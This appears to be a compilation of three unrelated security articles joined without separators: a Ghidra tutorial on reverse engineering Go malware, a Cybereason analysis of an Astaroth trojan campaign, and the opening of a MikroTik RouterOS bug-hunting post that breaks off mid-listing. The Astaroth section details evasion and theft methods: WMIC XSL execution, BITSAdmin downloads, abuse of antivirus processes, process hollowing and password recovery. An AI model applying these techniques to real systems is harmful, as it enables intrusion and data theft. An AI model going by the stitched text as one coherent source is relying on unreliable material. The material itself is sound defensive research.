Reverse Engineering Go Binaries with Ghidra

Reverse Engineering Go Binaries with Ghidra

Original text by Dorka Palotay

Go (also called Golang) is an open source programming language designed by Google in 2007 and made available to the public in 2012. It gained popularity among developers over the years, but it’s not always used for good purposes. As it often happens, it attracts the attention of malware developers as well.

Using Go is a tempting choice for malware developers because it supports cross-compiling to run binaries on various operating systems. Compiling the same code for all major platforms (Windows, Linux, macOS) make the attacker’s life much easier, as they don’t have to develop and maintain different codebases for each target environment.

The Need to Reverse Engineer Go Binaries

Some features of the Go programming language give reverse engineers a hard time when investigating Go binaries. Reverse engineering tools (e.g. disassemblers) can do a great job analyzing binaries that are written in more popular languages (e.g. C, C++, .NET), but Go creates new challenges that make the analysis more cumbersome.

Go binaries are usually statically linked, which means that all of the necessary libraries are included in the compiled binary. This results in large binaries, which make malware distribution more difficult for the attackers. On the other hand, some security products also have issues handling large files. That means large binaries can help malware avoid detection. The other advantage of statically linked binaries for the attackers is that the malware can run on the target systems without dependency issues.

As we saw a continuous growth of malware written in Go and expect more malware families to emerge, we decided to dive deeper into the Go programming language and enhance our toolset to become more effective in investigating Go malware.

In this article, I will discuss two difficulties that reverse engineers face during Go binary analysis and show how we solve them.

Ghidra is an open source reverse engineering tool developed by the National Security Agency, which we frequently use for static malware analysis. It is possible to create custom scripts and plugins for Ghidra to provide specific functionalities that researchers need. We used this feature of Ghidra and created custom scripts to aid our Go binary analysis.

The topics discussed in this article were presented at the Hacktivity2020 online conference. The slides and other materials are available in our Github repository.

Lost Function Names in Stripped Binaries

The first issue is not specific to Go binaries, but stripped binaries in general. Compiled executable files can contain debug symbols which make debugging and analysis easier. When analysts reverse engineer a program that was compiled with debugging information, they can see not only memory addresses, but also the names of the routines and variables. However, malware authors usually compile files without this information, creating so-called stripped binaries. They do this to reduce the size of the file and make reverse engineering more difficult. When working with stripped binaries, analysts cannot rely on the function names to help them find their way around the code. With statically linked Go binaries, where all the necessary libraries are included, the analysis can slow down significantly.

To illustrate this issue, we used simple “Hello Hacktivity” examples written in C[1] and Go[2] for comparison and compiled them to stripped binaries. Note the size difference between the two executables.

c and go comparison executables

Ghidra’s Functions window lists all functions defined within the binaries. In the non-stripped versions function names are nicely visible and are of great help for reverse engineers.Ghidra functions list

Figure 1 – hello_c[3] function listghidra functions list golang

Figure 2 – hello_go[5] function list

The function lists for stripped binaries look like the following:ghidra functions list c stripped binary

Figure 3 – hello_c_strip[4] function listghidra functions list go stripped binary

Figure 4 – hello_go_strip[6] function list

These examples neatly show that even a simple “hello world” Go binary is huge, having more than a thousand functions. And in the stripped version reverse engineers cannot rely on the function names to aid their analysis.

Note: Due to stripping, not only did the function names disappear, but Ghidra also recognized only 1,139 functions of the 1,790 defined functions.

We were interested in whether there was a way to recover the function names within stripped binaries. First, we ran a simple string search to check if the function names were still available within the binaries. In the C example we looked for the function “main”, while in the Go example it was “main.main”.searching for main function

Figure 5 – hello_c[3] strings – “main” was found

Figure 6 – hello_c_strip[4] strings – “main” was not foundsearching for main.main function in go binary

Figure 7 – hello_go[5] strings – “main.main” was found

Figure 8 – hello_go_strip[6] strings – “main.main” was found

The strings utility could not find the function name in the stripped C binary[4], but “main.main” was still available in the Go version[6]. This discovery gave us some hope that function name recovery could be possible in stripped Go binaries.

Loading the binary[6] to Ghidra and searching for the “main.main” string will show its exact location. As you can be seen in the image below, the function name string is located within the .gopclntab section.ghidra main.main string go binary

Figure 9 – hello_go_strip[6] main.main string in Ghidra

The pclntab structure is available since Go 1.2 and nicely documented. The structure starts with a magic value followed by information about the architecture. Then the function symbol table holds information about the functions within the binary. The address of the entry point of each function is followed by a function metadata table.

pclntab structure go string

The function metadata table, among other important information, stores an offset to the function name.

It is possible to recover the function names by using this information. Our team created a script ( for Ghidra to recover function names in stripped Go ELF files by executing the following steps:

  • Locates the pclntab structure
  • Extracts the function addresses
  • Finds function name offsets

Executing our script not only restores the function names, but it also defines previously unrecognized functions.defining undefined strings in go binary with ghidra

Figure 10 – hello_go_strip[6] function list after executing

To see a real-world example let’s look at an eCh0raix ransomware sample[9]:ghidra ech0raix function list

Figure 11 – eCh0raix[9] function list

Figure 12 – eCh0raix[9] function list after executing

This example clearly shows how much help the function name recovery script can be during reverse engineering. Analysts can assume that they are dealing with ransomware just by looking at the function names.

Note: There is no specific section for the pclntab structure in Windows Go binaries, and researchers need to explicitly search for the fields of this structure (e.g. magic value, possible field values). For macOS, the _gopclntab section is available, similar to .gopclntab in Linux binaries.

Challenges: Undefined Function Name Strings

If a function name string is not defined by Ghidra, then the function name recovery script will fail to rename that specific function, since it cannot find the function name string at the given location. To overcome this issue our script always checks if a defined data type is located at the function name address and, if not, tries to define a string data type at the given address before renaming a function.

In the example below, the function name string “log.New” is not defined in an eCh0raix ransomware sample[9], so the corresponding function cannot be renamed without creating a string first.

Figure 13 – eCh0raix[9] log.New function name undefined

Figure 14 – eCh0raix[9] log.New function couldn’t be renamed

The following lines in our script solve this issue:

Figure 15 –

Unrecognized Strings in Go Binaries

The second issue that our scripts are solving is related to strings within Go binaries. Let’s turn back to the “Hello Hacktivity” examples and take a look at the defined strings within Ghidra.

70 strings are defined in the C binary[3], with “Hello, Hacktivity!” among them. Meanwhile, the Go binary[5] includes 6,540 strings, but searching for “hacktivity” gives no result. Such a high number of strings already makes it hard for reverse engineers to find the relevant ones, but, in this case, the string that we expected to find was not even recognized by Ghidra.start reverse engineering go binary with ghidra

Figure 16 – hello_c[3] defined strings with “Hello, Hacktivity!”

Figure 17 – hello_go[5] defined strings without “hacktivity”

To understand this problem, you need to know what a string is in Go. Unlike in C-like languages, where strings are sequences of characters terminated with a null character, strings in Go are sequences of bytes with a fixed length. Strings are Go-specific structures, built up by a pointer to the location of the string and an integer, which is the length of the string.

These strings are stored within Go binaries as a large string blob, which consists of the concatenation of the strings without null characters between them. So, while searching for “Hacktivity” using strings and grep gives the expected result in C, it returns a huge string blob containing “hacktivity” in Go.

Figure 18 – hello_c[3] string search for “Hacktivity”golang string blob

Figure 19 – hello_go[5] string search for “hacktivity”

Since strings are defined differently in Go, and the results referencing them within the assembly code are also different from the usual C-like solutions, Ghidra has a hard time with strings within Go binaries.

The string structure can be allocated in many different ways, it can be created statically or dynamically during runtime, it varies within different architectures and might even have multiple solutions within the same architecture. To solve this issue, our team created two scripts to help with identifying strings.

Dynamically Allocating String Structures

In the first case, string structures are created during runtime. A sequence of assembly instructions is responsible for setting up the structure before a string operation. Due to the different instruction sets, structure varies between architectures. Let’s go through a couple of use cases and show the instruction sequences that our script ( looks for.

Dynamically Allocating String Structures for x86

First, let’s start with the “Hello Hacktivity” example[5].dynamically allocating string structures in x86

Figure 20 – hello_go[5] dynamic allocation of string structure

Figure 21 – hello_go[5] undefined “hello, hacktivity” string

After running the script, the code looks like this:

Figure 22 – hello_go[5] dynamic allocation of string structure after executing

The string is defined:

Figure 23 – hello_go[5] defined “hello hacktivity” string

And “hacktivity” can be found in the Defined Strings view in Ghidra:defined strings golang binary ghidra

Figure 24 – hello_go[5] defined strings with “hacktivity”

The script looks for the following instruction sequences in 32-bit and 64-bit x86 binaries:

Figure 25 – eCh0raix[9] dynamic allocation of string structure

Figure 26 – hello_go[5] dynamic allocation of string structure

ARM Architecture and Dynamic String Allocation

For the 32-bit ARM architecture, I use the eCh0raix ransomware sample[10] to illustrate string recovery.ARM architecture and dynamic string allocation ech0raix

Figure 27 – eCh0raix[10] dynamic allocation of string structure

Figure 28 – eCh0raix[10] pointer to string address

Figure 29 – eCh0raix[10] undefined string

After executing the script, the code looks like this:

Figure 30 – eCh0raix[10] dynamic allocation of string structure after executing

The pointer is renamed, and the string is defined:

Figure 31 – eCh0raix[10] pointer to string address after executing

Figure 32 – eCh0raix[10] defined string after executing

The script looks for the following instruction sequence in 32-bit ARM binaries:

For the 64-bit ARM architecture, let’s use a Kaiji sample[12] to illustrate string recovery. Here, the code uses two instruction sequences that only vary in one sequence.ARM dynamic string allocation Kaiji

Figure 33 – Kaiji[12] dynamic allocation of string structure

After executing the script, the code looks like this:

Figure 34 – Kaiji[12] dynamic allocation of string structure after executing

The strings are defined:

Figure 35 – Kaiji[12] defined strings after executing

The script looks for the following instruction sequences in 64-bit ARM binaries:

As you can see, a script can recover dynamically allocated string structures. This helps reverse engineers read the assembly code or look for interesting strings within the Defined String view in Ghidra.

Challenges for This Approach

The biggest drawback of this approach is that each architecture (and even different solutions within the same architecture) requires a new branch to be added to the script. Also, it is very easy to evade these predefined instruction sets. In the example below, where the length of the string is moved to an earlier register in a Kaiji 64-bit ARM malware sample[12], the script does not expect this and will therefore miss this string.

Figure 36 – Kaiji[12] dynamic allocation of string structure in an unusual way

Figure 37 – Kaiji[12] an undefined string

Statically Allocated String Structures

In this next case, our script ( looks for string structures that are statically allocated. This means that the string pointer is followed by the string length within the data section of the code.

This is how it looks in the x86 eCh0raix ransomware sample[9].statistically allocating string structures

Figure 38 – eCh0raix[9] static allocation of string structures

In the image above, string pointers are followed by string length values, however, Ghidra couldn’t recognize the addresses or the integer data types, except for the first pointer, which is directly referenced in the code.

Figure 39 – eCh0raix[9] string pointer

Undefined strings can be found by following the string addresses.

Figure 40 – eCh0raix[9] undefined strings

After executing the script, string addresses will be defined, along with the string length values and the strings themselves.

Figure 41 – eCh0raix[9] static allocation of string structures after executing

Figure 42 – eCh0raix[9] defined strings after executing

Challenges: Eliminating False Positives and Missing Strings

We want to eliminate false positives, which is why we:

  • Limit the string length
  • Search for printable characters
  • Search in data sections of the binaries

Obviously, strings can easily slip through as a result of these limitations. If you use the script, feel free to experiment, change the values, and find the best settings for your analysis. The following lines in the code are responsible for the length and character set limitations:

Figure 43 –

Figure 44 –

Further Challenges in String Recovery

Ghidra’s auto analysis might falsely identify certain data types. If this happens, our script will fail to create the correct data at that specific location. To overcome this issue the incorrect data type has to be removed first, and then the new one can be created.

For example, let’s take a look at the eCh0riax ransomware[9] with statically allocated string structures.string structure recovery statistic allocation

Figure 45 – eCh0raix[9] static allocation of string structures

Here the addresses are correctly identified, however, the string length values (supposed to be integer data types) are falsely defined as undefined4 values.

The following lines in our script are responsible for removing the incorrect data types:

Figure 46 –

After executing the script, all data types are correctly identified and the strings are defined.

Figure 47 – eCh0raix[9] static allocation of string structures after executing

Another issue comes from the fact that strings are concatenated and stored as a large string blob in Go binaries. In some cases, Ghidra defines a whole blob as a single string. These can be identified by the high number of offcut references. Offcut references are references to certain parts of the defined string, not the address where the string starts, but rather a place inside the string.

The example below is from an ARM Kaiji sample[12].

Figure 48 – Kaiji[12] falsely defined string in Ghidrafalsely defined string Kaiji reverse engineering go binary with ghidra

Figure 49 – Kaiji[12] offcut references of a falsely defined string

To find falsely defined strings, one can use the Defined Strings window in Ghidra and sort the strings by offcut reference count. Large strings with numerous offcut references can be undefined manually before executing the string recovery scripts. This way the scripts can successfully create the correct string data types.offcut reference ghidra

Figure 50 – Kaiji[12] defined strings

Lastly, we will show an issue in the Ghidra Decompile view. Once a string is successfully defined either manually or by one of our scripts, it will be nicely visible in the listing view of Ghidra, helping reverse engineers read the assembly code. However, the Decompiler view in Ghidra cannot handle fixed-length strings correctly and, regardless of the length of the string, it will display everything until it finds a null character. Luckily, this issue will be solved in the next release of Ghidra (9.2).

This is how the issue looks with the eCh0raix sample[9].

Figure 51 – eCh0raix[9] defined string in listing viewghidra decompile view ech0raix defined string

Figure 52 – eCh0raix[9] defined string in Decompile view

Future Work with Reverse Engineering Go

This article focused on the solutions for two issues within Go binaries to help reverse engineers use Ghidra and statically analyze malware written in Go. We discussed how to recover function names in stripped Go binaries and proposed several solutions for defining strings within Ghidra. The scripts that we created and the files we used for the examples in this article are publicly available, and the links can be found below.

This is just the tip of the iceberg when it comes to the possibilities for Go reverse engineering. As a next step, we are planning to dive deeper into Go function call conventions and the type system.

In Go binaries arguments and return values are passed to functions by using the stack, not the registers. Ghidra currently has a hard time correctly detecting these. Helping Ghidra to support Go’s calling convention will help reverse engineers understand the purpose of the analyzed functions.

Another interesting topic is the types within Go binaries. Just as we’ve shown by extracting function names from the investigated files, Go binaries also store information about the types used. Recovering these types can be a great help for reverse engineering. In the example below, we recovered the main.Info structure in an eCh0raix ransomware sample[9]. This structure tells us what information the malware is expecting from the C2 server.reverse engineering go binary with ghidra

Figure 53 – eCh0raix[9] structure

Figure 54 – eCh0raix[9] fields

Figure 55 – eCh0raix[9] structure

As you can see, there are still many interesting areas to discover within Go binaries from a reverse engineering point of view. Stay tuned for our next write-up.

Github repository with scripts and additional materials

Files used for the research

File nameSHA-256
[9]eCh0raix – x86154dea7cace3d58c0ceccb5a3b8d7e0347674a0e76daffa9fa53578c036d9357
[10]eCh0raix – ARM3d7ebe73319a3435293838296fbb86c2e920fd0ccc9169285cc2c4d7fa3f120d
[11]Kaiji – x86_64f4a64ab3ffc0b4a94fd07a55565f24915b7a1aaec58454df5e47d8f8a2eec22a
[12]Kaiji – ARM3e68118ad46b9eb64063b259fca5f6682c5c2cb18fd9a4e7d97969226b2e6fb4

References and further reading

Solutions by other researchers for various tools


radare2 / Cutter

Binary Ninja





In 2018, we saw a dramatic increase in cyber crimes in Brazil and, separately, the abuse of legitimate native Windows OS processes for malicious intent. Cyber attackers used living off the land binaries (LOLbins) to hide their malicious activity and operate stealthily in target systems. Using native, legitimate operating system tools, attackers were able to infiltrate and gain remote access to devices without any malware. For organizations with limited visibility into their environment, this type of attack can be fatal.

In this research, we explain one of the most recent and unique campaigns involving the Astaroth trojan.This Trojan and information stealer was recognized in Europe and chiefly affected Brazil through the abuse of native OS processes and the exploitation of security-related products.

Brazil is constantly being hit with cybercrime. To read about another pervasive attack in Brazil, check out our blog post. 


Pervasive Brazilian Financial Malware Targets Bank Customers in Latin America and Europe

The Cybereason Platform was able to detect this new variant of the Astaroth Trojan in a massive spam campaign that targeted Brazil and parts of Europe. Our Active Hunting Service team was able to analyze the campaign and identify that it maliciously took advantage of legitimate tools like the BITSAdmin utilityand the WMIC utility to interact with a C2 server and download a payload. It was also able to use a component of multinational antivirus software Avast to gain information about the target system, as well as a process belonging to Brazilian information security company GAS Tecnologia to gather personal information. With a sophisticated attack such as this, it is critical for your security team to have a clear understanding of your environment so they can swiftly detect malicious activity and respond effectively. 


The Astaroth Trojan campaign is a phishing-based campaign that gained momentum towards the end of 2018 and was identified in thousands of incidents. Early versions differed significantly from later versions as the adversaries advanced and optimized their attack. This version contrasted significantly from previous versions in four key ways.

  1. This version maliciously used BITSAdmin to download the attackers payload. This differed from early versions of the campaign that used certutil.
  2. This version injects a malicious module into one of Avast’s processes, whereas early versions of the campaign detected Avast and quit. As Avast is the most common antivirus software in the world, this is an effective evasive strategy.
  3. This version of the campaign made malicious use of unins000.exe, a process that belongs to the Brazilian information security company GAS Tecnologia, to gather personal information undetected. This trusted process is prevalent on Brazilian machines. To the best of our knowledge, no other versions of the malware used this process.
  4. This version used a fromCharCode() deobfuscation method to avoid explicitly writing execution commands and help hide the code it is initiating. Earlier versions did not use this method.


As with many traditional spam campaigns, this campaign begins with a .7zip file. This file gets downloaded to a user machine through a mail attachment or a mistakenly-pressed hyperlink.

The downloaded .7zip file contains a .lnk file that, once pressed, initializes the malware.


The .lnk file extracted from the .7zip file.

An obfuscated command is located inside the Target bar in the .lnk file properties. 

Hidden command inside the .lnk file.

The full obfuscated command inside the .lnk file.

When the .lnk file is initialized, it spawns a CMD process. This process executes a command to maliciously use the legitimate wmic.exe to initialize an XSL Script Processing (MITRE Technique T1220) attack. The attack executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain (qnccmvbrh.wilstonbrwsaq[.]pw).

wmic.exe is a powerful, native Windows command line utility used to interact with Windows Management Instrumentation (WMI). This utility is able to execute complicated WQL queries and WMI methods. It is often used by attackers for lateral movement, reconnaissance, and basic code invocation. By using a trusted, native utility, the attackers can hide the scope of the full attack and evade detection.

The initial attack vector as detected by the Cybereason Platform.

wmic.exe creates a .txt file with information about the domain that stores the remote XSL script. It identifies the location of the infected machine, including country, city, and other information. Once this information is gathered, it sends location data about the infected machine to the remote XSL script.

This location data gives the attacker a unique edge, as they can specify a target country or city to attack and maximize their accuracy when choosing a particular target. 

 The .txt file contains information about the C2 domain and infected machine, as detected in a Cybereason Lab environment.


The remote XSL script that wmic.exe sends information to contains highly obfuscated JScript code that will execute additional steps of the malicious activity. The code is obfuscated in order to hide any malicious activity on the remote server.

Initially, the XSL script defines several variables for command execution and data storage. It also creates several ActiveX objects. The majority of ActiveX Objects created with Wscript.Shell and Shell.Applicationare used to run programs, create shortcuts, manipulate the contents of the registry, or access system folders. These variables are used to invoke legitimate Windows OS processes for malicious activities, and serve as a bridge between the remote domain that stores the script and the infected machine.  

Malicious script variables.


The malicious JScript code obfuscation relies on two main techniques.

  1. The script uses the function fromCharCode() that returns a string created from a sequence of UTF-16 code units. By using this function, it avoids explicitly writing commands it wants to execute and it hides the actual code it is initiating. In particular, the script uses this function to hide information related to process names. To the best of our knowledge, this method was not used in early versions of the spam campaign.
  2. The script uses the function radador(), which returns a randomized integer. This function is able to obfuscate code so that every iteration of the code is presented differently. In contrast to the first method of obfuscation, this has been used effectively since early versions of the Astaroth Trojan campaign. 

 String.fromCharCode() usage in the XSL script. 

The random number generator function radador().

 These two obfuscation techniques are used to bypass antivirus defenses and make security researcher investigations more challenging.


The XSL script contains variable xparis() that holds the C2 domain the malicious files will be downloaded from. In order to extend the lifespan of the domains in case one or more are blacklisted, there are twelve different C2 domains that xparis() can be set to. In order to decide which domain xparis() holds, a variable pingadori() uses the radador() function to randomize the domain. pingadori() is a random integer between one and twelve, which decides which domain xparis() is assigned.

The C2 domain selection mechanism.

One of the most used functions in the XSL script is Bxaki()Bxaki() takes a URL and a file as arguments. It downloads the file to the infected machine from the input URL using BITSAdmin, and is called every time the script attempts to download a file.

In previous iterations, the Astaroth Trojan campaign used cerutil to download files. In order to hide this process, it was renamed certis. In this iteration, they have replaced certutil with BITSAdmin.

 Bxaki obfuscated function.


Bxaki deobfuscated function.

In order to gain access to the infected computer’s file system, the XSL script uses the variable fso with FileSystemObject capabilities. This variable is created using an ActiveX object. The XSL script contains additional hard coded variables sVarRaz and sVar2RazX, which contain file paths that direct to the downloaded files. 

The file’s path.  

The directory creation. 


The remote XSL script downloads twelve files from the C2 server that masquerade themselves as JPEG, GIF, and extensionless files. These files are downloaded to a directory (C:\Users\Public\Libraries\tempsys) on the infected machine by Bxaki() and xparis(). Within these twelve files are the Astaroth Trojan modules, several additional files the Trojan may use to extend its capabilities, and an r1.log file. The r1.log file stores information for exfiltration. A thorough explanation of what information is collected can be found in a breakdown by Cofense from late 2018. 

The script verifies all parts of the malware have been downloaded. 

After downloading the payload, the XSL script checks to make sure every piece of the malware was downloaded. 

One of the twelve download commands as detected by the Cybereason platform in same variant of Astaroth. 

The twelve downloaded files.


A unique feature of this latest Astaroth Trojan campaign is the malware’s ability to search for specific security products and exploit them.

 In earlier variants, upon detecting Avast, the XSL script would simply quit. Instead, it now uses Avast to execute malicious actions. 

Similar to earlier versions of the Astaroth Trojan campaign, the XSL script searches for Avast on the infected machine, and specifically targets a certain process of Avast aswrundll.exe. It uses three variables stem1stem2, and stem3 that, when combined, form a specific path (C:\Program Files\AVAST Software\AVAST\aswRunDll.exe) to aswRundll.exe. It obfuscates this path using the fromCharCode()function.

aswrundll.exe is the Avast Software Runtime Dynamic Link Library that is responsible for running modules for Avast. If aswrundll.exe exists at this path, Avast exists on the machine.

Note: aswrundll.exe is very similar to Microsoft’s own rundll32.exe — it allows you to execute DLLs by calling their exported functions. The use of aswrundll.exe as a LOLbin has been mentioned in the past year.


Stem variables presented as unicode strings.

Stem variables decoded to ASCII.


Once the XSL script has identified that Avast is installed on the machine, it loads a malicious module Irdsnhrxxxfery64 from its location on disk. In order to load this module, it uses an ActiveX Object ShAcreated with Shell.Application capabilities. The object uses ShellExecute() to create an aswrundll.exeprocess instance and loads Irdsnhrxxxfery64. It loads the module with parameter vShow set to zero, which opens the application with a hidden window. 

Alternatively, if Avast is not installed on the machine, the malicious module loads using regsvr32.exeregsvr32.exe is a native Windows utility for registering and unregistering DLLs and ActiveX controls in the Windows registry. 

 The script attempts to load the malicious module using regsvr with the run function. 

Procmon shows the malicious module loaded to the Avast process.

Procmon shows the malicious module loaded using the regsvr32.exe process.  


The only module the XSL script loads is Irdsnhrxxxfery64, which is packed using the UPX packer.

 Information pertaining to lrdsnhxxfery64.~.

After unpacking the module, it is packed with an additional inner packer Pe123\RPolyCryptor. This module has to be investigated in a dynamic way to fully understand the malware and the role the module played during execution.

Information pertaining to lrdsnhrxxfery64_Unpacked.dll.

 Throughout the malware execution, Irdsnhrxxxfery64.~ acts as the main malware controller. The module initiates the malicious activity once the payload download is complete. It executes the other modules and collects initial information about the machine, including information about the network, locale, and the keyboard language. 

 The main module collecting information about the machine.


After the module loads with regsvr32.exe, the Irdsnhrxxxfery64 module injects another module Irdsnhrxxxfery98, which was downloaded by the script into regsvr32.exe using the LoadLibraryExW()function.

Similar to the previous case, if Avast and aswrundll.exe are on the machine, Irdsnhrxxxfery98 will be injected into that process instead of regsvr32.exe

Irdsnhrxxxfery64 injecting lrdsnhrxxfery98.

The malicious modules in regsvr32.exe memory

After the Irdsnhrxxxfery98 module is loaded, the malware searches different processes to continue its malicious activity depending on the way Irdsnhrxxxfery64 was loaded.

  1. If Irdsnhrxxxfery64 is loaded using aswrundll.exe, the module will continue to target aswrundll.exe.It will create new instances and continue to inject malicious content to it.
  2. If Irdsnhrxxxfery64 is loaded using regsvr32.exe, it will target three processes:
  • It will target unins000.exe if it is available. unins000.exe is a process developed by GAS Tecnologia that is common on Brazilian machines.
  • If unins000.exe does not exist, it will target Syswow64\userinit.exeuserinit.exe is a native Windows process that specifies the program that Winlogon runs when a user logs on to their computer.
  • Similarly, if unins000.exe and Syswow64\userinit.exe do not exist, it will target System32\userinit.exe.

The malware searches for targeted processes.

Irdsnhrxxxfery64 manipulation on userinit.exe & unins000.exe


After locating one of the target processes, the malware uses Process Hollowing (MITRE Technique T1093) to evasively create a new process from a legitimate source. This new process is in a suspended state so the malware can unmap its memory and write its contents to the new, allocated space. Once this is complete, it will resume the suspended process. By using this technique, the malware is able to leverage itself from a signed and verified legitimate Windows OS process, or, alternatively, if aswrundll.exe or unins000.exe exists, a signed and verified security product process.

Astaroth module creates a process in a suspended state (dwCreationFlags set to 4).

Unmapping process memory.

Writing content and resuming the process.

The Cybereason platform was able to detect the malicious injection, identifying Irdsnhrxxxfery64.~Irdsnhrxxxfery98.~, and module arqueiro

The downloaded modules found in regsvr32.exe as detected by the Cybereason platform.


The second module Irdsnhrxxxfery98.~ is responsible for a vast amount of information stealing, and is able to collect information through hooking, clipboard usage, and monitoring the keystate.


Irdsnhrxxxfery98 information collecting capabilities.

In addition to its own information stealing capabilities, the Astaroth Trojan campaign also uses an external feature NetPass. NetPass is one of the downloaded payload files renamed to lrdsnhrxxferyb.jpg.

NetPass is a free network password recovery tool that, according to its developer Nirsoft, can recover passwords including:

  • Login passwords of remote computers on LAN.
  • Passwords of mail accounts on an exchange server stored by Microsoft Outlook.
  • Passwords of MSN Messenger and Windows Messenger accounts.
  • Internet Explorer 7.x and 8.x passwords from password-protected web sites that include Basic Authentication or Digest Access Authentication.
  • The item name of Internet Explorer 7 passwords that always begin with Microsoft_WinInet prefix.
  • The passwords stored by Remote Desktop 6. 

NetPass usage.


After injecting into the targeted processes, the modules continue their malicious activity through those processes. The malware executes malicious activity in a small period of time through the target process, deletes itself, and then repeats. This occurs periodically and is persistent.

3 ways

The malware’s different functionality.

Once the targeted processes are infected by the malicious modules, they begin communicating with the payload C2 server and exfiltrating information saved to the r1.log file. The communication and exfiltration of data was detected in a real-world scenario using the Cybereason platform.

The malicious use of GAS Tecnologia security process unins000.exe. 

Data exfiltration from unins000.exe to a malicious IP. 


Our Active Hunting Service was able to detect both the malicious use of the BITSAdmin utility and the WMIC utility. Our customer immediately stopped the attack using the remediation section of our platform and prevented any exfiltration of data. From there, our hunting team identified the rest of the attack and completed a thorough analysis.

We were able to detect and evaluate an evasive infection technique used to spread a variant of the Astaroth Trojan as part of a large, Brazilian-based spam campaign. In our discovery, we highlighted the use of legitimate, built-in Windows OS processes used to perform malicious activities to deliver a payload without being detected, as well as how the Astaroth Trojan operates and installs multiple modules covertly. We also showed its use of well-known tools and antivirus products to expand its capabilities. The analysis of the tools and techniques used in the Astaroth campaign show how truly effective LOLbins are at evading antivirus products. As we enter 2019, we anticipate that the use of LOLbins will likely increase. Because of the great potential for malicious exploitation inherent in the use of native processes, it is very likely that many other information stealers will adopt this method to deliver their payload into targeted machines.

As a result of this detection, the customer was able to contain an advanced attack before any damage was done. The Astaroth Trojan was controlled, WMIC was disabled, and the attack was halted in its tracks.

Part of the difficulty identifying this attack is in how it evades detection. It is difficult to catch, even for security teams aware of the complications ensuring a secure system, as with our customer above. LOLbins are deceptive because their execution seems benign at first, or even sometimes safe, as with the malicious use of antivirus software. As the use of LOLbins becomes more commonplace, we suspect this complex method of attack will become more common as well. The potential for damage will grow as attackers will look to other more destructive payloads.

For more information on LOLbins in the wild, read our research into a different Trojan. 

LOLbins and Trojans: How the Ramnit Trojan Spreads via sLoad in a Cyberattack










Make It Rain with MikroTik

Original text by Jacob Baines

Can you hear me in the… front?

I came into work to find an unusually high number of private Slack messages. They all pointed to the same tweet.

Why would this matter to me? I gave a talk at Derbycon about hunting for bugs in MikroTik’s RouterOS. I had a 9am Sunday time slot.

You don’t want a 9am Sunday time slot at Derbycon

Now that Zerodium is paying out six figures for MikroTik vulnerabilities, I figured it was a good time to finally put some of my RouterOS bug hunting into writing. Really, any time is a good time to investigate RouterOS. It’s a fun target. Hell, just preparing this write up I found a new unauthenticated vulnerability. You could too.

Laying the Groundwork

Now I know you’re already looking up Rolex prices, but calm down, Sparky. You still have work to do. Even if you’re just planning to download a simple fuzzer and pray for a pay day, you’ll still need to read this first section.

Acquiring Software

You don’t have to rush to Amazon to acquire a router. MikroTik makes RouterOS ISOs available on their website. The ISO can be used to create a virtual host with VirtualBox or VMWare.

Naturally, Mikrotik published 6.42.12 the day I published this blog

You can also extract the system files from the ISO.

albinolobster@ubuntu:~/6.42.11$ 7z x mikrotik-6.42.11.iso
7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)
Processing archive: mikrotik-6.42.11.iso
Extracting  advanced-tools-6.42.11.npk
Extracting calea-6.42.11.npk
Extracting defpacks
Extracting dhcp-6.42.11.npk
Extracting dude-6.42.11.npk
Extracting gps-6.42.11.npk
Extracting hotspot-6.42.11.npk
Extracting ipv6-6.42.11.npk
Extracting isolinux
Extracting isolinux/
Extracting isolinux/initrd.rgz
Extracting isolinux/isolinux.bin
Extracting isolinux/isolinux.cfg
Extracting isolinux/linux
Extracting isolinux/TRANS.TBL
Extracting kvm-6.42.11.npk
Extracting lcd-6.42.11.npk
Extracting LICENSE.txt
Extracting mpls-6.42.11.npk
Extracting multicast-6.42.11.npk
Extracting ntp-6.42.11.npk
Extracting ppp-6.42.11.npk
Extracting routing-6.42.11.npk
Extracting security-6.42.11.npk
Extracting system-6.42.11.npk
Extracting TRANS.TBL
Extracting ups-6.42.11.npk
Extracting user-manager-6.42.11.npk
Extracting wireless-6.42.11.npk
Extracting [BOOT]/Bootable_NoEmulation.img
Everything is Ok
Folders: 1
Files: 29
Size: 26232176
Compressed: 26335232

MikroTik packages a lot of their software in their custom .npk format. There’s a tool that’ll unpack these, but I prefer to just use binwalk.

albinolobster@ubuntu:~/6.42.11$ binwalk -e system-6.42.11.npk
0 0x0 NPK firmware header, image size: 15616295, image name: "system", description: ""
4096 0x1000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 9818075 bytes, 1340 inodes, blocksize: 262144 bytes, created: 2018-12-21 09:18:10
9822304 0x95E060 ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
9842177 0x962E01 Unix path: /sys/devices/system/cpu
9846974 0x9640BE ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
9904147 0x972013 Unix path: /sys/devices/system/cpu
9928025 0x977D59 Copyright string: "Copyright 1995-2005 Mark Adler "
9928138 0x977DCA CRC32 polynomial table, little endian
9932234 0x978DCA CRC32 polynomial table, big endian
9958962 0x97F632 xz compressed data
12000822 0xB71E36 xz compressed data
12003148 0xB7274C xz compressed data
12104110 0xB8B1AE xz compressed data
13772462 0xD226AE xz compressed data
13790464 0xD26D00 xz compressed data
15613512 0xEE3E48 xz compressed data
15616031 0xEE481F Unix path: /var/pdb/system/crcbin/milo 3801732988
albinolobster@ubuntu:~/6.42.11$ ls -o ./_system-6.42.11.npk.extracted/squashfs-root/
total 64
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 bin
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 boot
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 dev
lrwxrwxrwx 1 albinolobster 11 Dec 21 04:18 dude -> /flash/dude
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 etc
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 flash
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 home
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 initrd
drwxr-xr-x 4 albinolobster 4096 Dec 21 04:18 lib
drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 nova
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 old
lrwxrwxrwx 1 albinolobster 9 Dec 21 04:18 pckg -> /ram/pckg
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 proc
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 ram
